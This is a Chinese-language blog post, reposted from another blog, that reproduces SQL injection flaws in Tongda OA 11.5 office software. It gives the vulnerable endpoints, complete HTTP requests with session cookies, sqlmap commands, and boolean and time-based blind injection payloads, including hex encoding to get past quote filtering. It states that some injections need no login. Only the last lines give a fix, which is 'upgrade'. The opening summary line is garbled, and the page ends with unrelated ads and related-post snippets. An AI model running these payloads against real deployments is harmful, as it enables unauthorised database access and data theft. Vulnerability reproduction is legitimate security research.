通达OA 11.5 SQL注入漏洞复现

摘要:
link_ type=false&id=2HTTP/1.1主机:PHPSESID=2jtfe5ckpfh9klegtgs0t1e73;link_ type=false&槽={}&q=0.8接受语言:q=0.3 Cookie:PHPSSID=cc8r8nkl66443744vcpfpnncn2;结束时间=1598918400&

通达OA 11.5 SQL注入漏洞复现第1张

0x00 漏洞描述

 通达OA 11.5存在sql注入

0x01 漏洞影响版本

 通达oa 11.5

0x02 漏洞复现

1、下载通达OA 11.5

https://cdndown.tongda2000.com/oa/2019/TDOA11.5.exe,点击安装

2、创建一个普通账户test:test123456

通达OA 11.5 SQL注入漏洞复现第2张

3.1、id参数存在sql注入

利用条件:一枚普通账号登录权限,但测试发现,某些低版本也无需登录也可注入

参数位置:

/general/appbuilder/web/report/repdetail/edit?link_type=false&slot={}&id=2

webrootgeneralappbuildermodules eportcontrollersRepdetailController.php,actionEdit函数中存在 一个$_GET[“id”];  未经过滤,拼接到SQL

GET /general/appbuilder/web/report/repdetail/edit?link_type=false&slot={}&id=2 HTTP/1.1
Host: 192.168.77.137
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: PHPSESSID=2jtfe5ckpfh9mklegtgs0t1e73; USER_NAME_COOKIE=test; OA_USER_ID=65; SID_65=9e1a1f39
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

3.1.1、登录test用户,构造urlhttp://192.168.77.135/general/appbuilder/web/report/repdetail/edit?link_type=false&slot={}&id=2,burp抓包,

通达OA 11.5 SQL注入漏洞复现第3张通达OA 11.5 SQL注入漏洞复现第4张

3.1.2、sqlmap跑,sqlmap -u “http://192.168.77.135/general/appbuilder/web/report/repdetail/edit?link_type=false&slot={}&id=2” -p “id” –cookie=”PHPSESSID=mva518tjsg5errdk8toa75g8o2; USER_NAME_COOKIE=test; OA_USER_ID=65; SID_65=fabef8fe” –current-db

通达OA 11.5 SQL注入漏洞复现第5张

sqlmap 的payload:布尔盲注:link_type=false&slot={}&id=(SELECT (CASE WHEN (2489=2489) THEN 2 ELSE (SELECT 2530 UNION SELECT 6370) END))

时间盲注:link_type=false&slot={}&id=2 OR (SELECT 4201 FROM (SELECT(SLEEP(5)))birR)

3.2、starttime参数

 利用条件:一枚普通账号登录权限,但测试发现,某些低版本也无需登录也可注入

参数位置:

POST /general/appbuilder/web/calendar/calendarlist/getcallist HTTP/1.1
Host: 192.168.77.135
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: PHPSESSID=cc8r8nkl66443744vcpfpnncn2; USER_NAME_COOKIE=test; OA_USER_ID=65; SID_65=d93dd10a
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 53

starttime=1&endtime=1598918400&view=month&condition=1

3.2.1、sqlmap 跑,sqlmap   -r test1.txt

通达OA 11.5 SQL注入漏洞复现第6张

sqlmap的payload:starttime=1′) AND (SELECT 8771 FROM (SELECT(SLEEP(5)))xrUG) AND (‘CsEA’=’CsEA&endtime=1598918400&view=month&condition=1

3.3.orderby参数

利用条件:一枚普通账号登录权限,但测试发现,某些低版本也无需登录也可注入

参数位置:(两处)

/general/email/inbox/get_index_data.php?asc=0&boxid=&boxname=inbox&curnum=0&emailtype=ALLMAIL&keyword=&orderby=3–&pagelimit=10&tag=&timestamp=1598069103&total=

/general/email/sentbox/get_index_data.php?asc=0&boxid=&boxname=sentbox&curnum=3&emailtype=ALLMAIL&keyword=sample%40email.tst&orderby=1&pagelimit=20&tag=&timestamp=1598069133&total=

3.3.1、登录test用户,构造http://192.168.77.136/general/email/inbox/get_index_data.php?asc=0&boxid=&boxname=inbox&curnum=0&emailtype=ALLMAIL&keyword=&orderby=3–&pagelimit=10&tag=&timestamp=1598069103&total=,burp抓包

GET /general/email/inbox/get_index_data.php?asc=0&boxid=&boxname=inbox&curnum=0&emailtype=ALLMAIL&keyword=&orderby=3&pagelimit=10&tag=&timestamp=1598069103&total= HTTP/1.1
Host: 192.168.77.137
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: PHPSESSID=2jtfe5ckpfh9mklegtgs0t1e73; USER_NAME_COOKIE=test; OA_USER_ID=65; SID_65=9e1a1f39
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
GET /general/email/sentbox/get_index_data.php?asc=0&boxid=&boxname=sentbox&curnum=3&emailtype=ALLMAIL&keyword=sample%40email.tst&orderby=1&pagelimit=20&tag=&timestamp=1598069133&total= HTTP/1.1
Host: 192.168.77.137
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: PHPSESSID=2jtfe5ckpfh9mklegtgs0t1e73; USER_NAME_COOKIE=test; OA_USER_ID=65; SID_65=9e1a1f39
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

通达OA 11.5 SQL注入漏洞复现第7张

3.3.2、payload:RLIKE (SELECT  (CASE WHEN (1=1) THEN 1 ELSE 0x28 END)),如下图证明存在布尔盲注

通达OA 11.5 SQL注入漏洞复现第8张通达OA 11.5 SQL注入漏洞复现第9张

3.3.3、使用手工注入,经过测试发现过滤了单引号,对r字符进行转换成16进制

通达OA 11.5 SQL注入漏洞复现第10张通达OA 11.5 SQL注入漏洞复现第11张通达OA 11.5 SQL注入漏洞复现第12张

3.3.4、然后依次手工尝试,获得用户名root,ps:奈何没有转换成16进制的sqlmap tamper脚本,有大佬有的分享下,比心~

3.4、id参数存在sql注入

利用条件:11.5版本无需登录

参数位置:SORT_ID,FILE_SORT

POST /general/file_folder/swfupload_new.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
Referer: http://192.168.202.1/general/meeting/myapply/details.php?affair=true&id=5&nosign=true&reminding=true
X-Resource-Type: xhr
Connection: close
Host: 192.168.77.137
Pragma: no-cache
x-requested-with: XMLHttpRequest
Content-Length: 433
x-wvs-id: Acunetix-Deepscan/186
Cache-Control: no-cache
accept: */*
origin: http://192.168.202.1
Accept-Language: en-US
Content-Type: multipart/form-data; boundary=----------GFioQpMK0vv2

------------GFioQpMK0vv2
Content-Disposition: form-data; name="ATTACHMENT_ID"

1
------------GFioQpMK0vv2
Content-Disposition: form-data; name="ATTACHMENT_NAME"

1
------------GFioQpMK0vv2
Content-Disposition: form-data; name="FILE_SORT"

2
------------GFioQpMK0vv2
Content-Disposition: form-data; name="SORT_ID"

0 RLIKE (SELECT  (CASE WHEN (1=1) THEN 1 ELSE 0x28 END))
------------GFioQpMK0vv2--

3.4.1、payload:RLIKE (SELECT  (CASE WHEN (1=1) THEN 1 ELSE 0x28 END)),如下图,证明存在布尔盲注

通达OA 11.5 SQL注入漏洞复现第13张通达OA 11.5 SQL注入漏洞复现第14张通达OA 11.5 SQL注入漏洞复现第15张

3.4.2、RLIKE (SELECT  (CASE WHEN (substr(user(),1,1)=0x72) THEN 1 ELSE 0x28 END)),经过测试发现过滤了单引号,对r字符进行转换成16进制,通过手工最终获得数据库用户名root

通达OA 11.5 SQL注入漏洞复现第16张

0x03 修复建议

升级版本

0x04 参考连接:

https://mp.weixin.qq.com/s/RlOpohHvjHv_Qg3mNgDCAQ

https://mp.weixin.qq.com/s/3bI7v-hv4rMUnCIT0GLkJA

转载请注明:Adminxe's Blog » 通达OA 11.5 SQL注入漏洞复现

免责声明:文章转载自《通达OA 11.5 SQL注入漏洞复现》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇codeforces1137B kmp(fail的妙用)注解-组件注册02-@ComponentScan下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

积木大赛 2013年NOIP全国联赛提高组

题目描述 Description 春春幼儿园举办了一年一度的“积木大赛”。今年比赛的内容是搭建一座宽度为 n 的大厦,大厦可以看成由 n 块宽度为1的积木组成,第i块积木的最终高度需要是hi。在搭建开始之前,没有任何积木(可以看成 n 块高度为 0 的积木)。接下来每次操作,小朋友们可以选择一段连续区间[L,R],然后将第 L 块到第 R 块之间(含第...

iOS开发之使用Runtime给Model类赋值

  本篇博客算是给网络缓存打个基础吧,本篇博客先给出简单也是最容易使用的把字典转成实体类的方法,然后在给出如何使用Runtime来给Model实体类赋值。本篇博客会介绍一部分,主要是字典的key与Model的属性名相同时,使用Runtime来进行赋值,下篇博客会给出字典key的值和Model的名字不同时的解决方案,并给出使用Runtime打印实体类属性值的...

ThinkPHP6 核心分析:系统服务

什么是系统服务?系统服务是对于程序要用到的类在使用前先进行类的标识的绑定,以便容器能够对其进行解析(通过服务类的 register 方法),还有就是初始化一些参数、注册路由等(不限于这些操作,主要是看一个类在使用之前的需要,进行一些配置,使用的是服务类的 boot 方法)。以下面要介绍到的 ModelService 为例,ModelService类提供服务...

随机数的深究

几乎所有编程语言中都提供了"生成一个随机数"的方法,也就是调用这个方法会生成一个数,我们事先也不知道它生成什么数。比如在.Net中编写下面的代码: Random rand = newRandom(); Console.WriteLine(rand.Next()); 运行后结果如下:     Next()方法用来返回一个随机数。同样的代码你执行和我...

C语言博客作业--数组

0.展示PTA总分 1.本章学习总结 1.1 学习内容总结 顺序查找法:从数组的第一个内容开始查找,直到找到要找值。 优点:写法简单易懂。 缺点:查找次数过多,面对大数据花费时间过长。 二分查找法:将数组排序后,从数组中间的数开始查找,当查找的数比中间的数大或者小的时候,取该数应处于的范围,再次取该范围中间的内容进行比较,直到找到正确的值。 数组的...

Element的表单验证规则,清空或填充数据如何避免自动触发

问题现象:表格校验,多选控件校验条件新建窗口,清空不起作用 考虑新建clearValidate方法 清空,没想到无效 通过查网上得到答案 使用nextTick方法,在弹框展示出来之前,JS执行完了所以没生效,此方法会在DOM更新后的回调中执行  this.dialogFormUser = true // 清除自动触发的表单验证 this....